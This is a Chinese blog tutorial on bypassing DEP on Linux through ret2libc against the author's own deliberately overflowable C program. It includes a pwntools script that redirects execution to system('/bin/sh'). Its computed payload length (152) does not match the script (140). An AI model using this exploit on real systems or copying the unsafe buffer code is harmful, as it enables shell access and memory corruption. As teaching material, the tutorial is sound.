linux ret,Linux下利用Ret2Libc绕过DEP

Linux下利用Ret2Libc绕过DEP

⑴.  原理分析:

系统库函数通常是不受DEP(关于DEP,可以查看我之前文章的详细介绍)保护的,所以通过将返回地址指向系统函数可以绕过DEP保护,所以可以通过调研系统函数system()获得shell。

⑵.环境准备:

i.漏洞代码:

#include

#include

#include

#include

void flow(){

char buf[128];

read(STDIN_FILENO,buf,256);

}

int main(){

flow();

char a[]="hello";

write(STDOUT_FILENO,a,strlen(a));

return 0;

}

编译指令:

gcc -fno-stack-protector -g -m32 -o vuln vuln.c

ii.测试环境:

测试系统:kaii 2.0 rolling

辅助插件:peda

⑶.测试分析:

i.存在漏洞的函数flow返回地址:

235a216a765892bbd40eac7916913583.png

漏洞函数返回地址:0xffffd2ac。

ii.缓冲区起始地址:

9b66ec2d077a1d53372ed4df6808ce08.png

缓冲区起始地址:0xffffd220

iii. 系统函数system()地址

4ceea50f5deb13ad7540e9ea24c565ae.png

iv.System参数:”/bin/sh”

139eeaca216695c0fda2b2a181bb5892.png

v. system函数源码:

int system(const char * cmdstring)

{

pid_t pid;

int status;

if(cmdstring == NULL){

return (1);

}

if((pid = fork())<0){

status = -1;

}

else if(pid == 0){

execl("/bin/sh", "sh", "-c", cmdstring, (char *)0);

_exit(127); //子进程正常执行则不会执行此语句

}

else{

while(waitpid(pid, &status, 0) < 0){

if(errno != EINTER){

status = -1;

break;

}

}

}

return status;

}

⑷.攻击过程:

i.计算攻击shellcode长度:

我们的目的是用system函数的地址覆盖返回地址,将system函数后的参数地址(后8字节,后四字节是返回地址)覆盖为我们找到的”/bin/sh”的地址。

所以size(shellcode)= address(ret)- address(buff)+ 12 = 0xffffd2ac – 0xffffd220 + 12 = 152

ii. 设计shellcode结构:

84b600c0e74c542680db0c5e06052f18.png

注:因为我们劫持程序后获得shell之后不会再返回,所以addr(ret:system)可以是任意地址。

iii.编写漏洞利用脚本:

from pwn import *

sh = 0xf7f4a808

system = 0xf7e0bc70

ret = 0x565555d4

payload = 'a'*140+p32(system)+p32(ret)+p32(sh)

p = process('./vuln')

p.send(payload)

p.interactive()

执行:

成功。

内存保护机制及绕过方法——利用Ret2Libc绕过DEP之VirtualProtect函数

利用Ret2Libc绕过DEP之VirtualProtect函数 ⑴.  原理分析: i.相关概念: VirtualProtect()函数: BOOL WINAPI VirtualProtect( _ ...

内存保护机制及绕过方法——利用Ret2Libc绕过DEP之ZwSetInformationProcess函数

1.    DEP内存保护机制 1.1   DEP工作原理 分析缓冲区溢出攻击,其根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计算机体系结构基本上是不可能的,我们只能靠 ...

【java】 linux下利用nohup后台运行jar文件包程序

Linux 运行jar包命令如下: 方式一: java -jar XXX.jar 特点:当前ssh窗口被锁定,可按CTRL + C打断程序运行,或直接关闭窗口,程序退出 那如何让窗口不锁定? 方式二 ...

linux下利用elk&plus;redis 搭建日志分析平台教程

linux下利用elk+redis 搭建日志分析平台教程 http://www.alliedjeep.com/18084.htm   elk 日志分析+redis数据库可以创建一个不错的日志分析平台了 ...

嵌入式 linux下利用backtrace追踪函数调用堆栈以及定位段错误

嵌入式 linux下利用backtrace追踪函数调用堆栈以及定位段错误 2015-05-27 14:19 184人阅读 评论(0) 收藏 举报  分类: 嵌入式(928)  一般察看函数运行时堆栈的 ...

linux下利用openssl来实现证书的颁发(详细步骤)--转载和修改

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值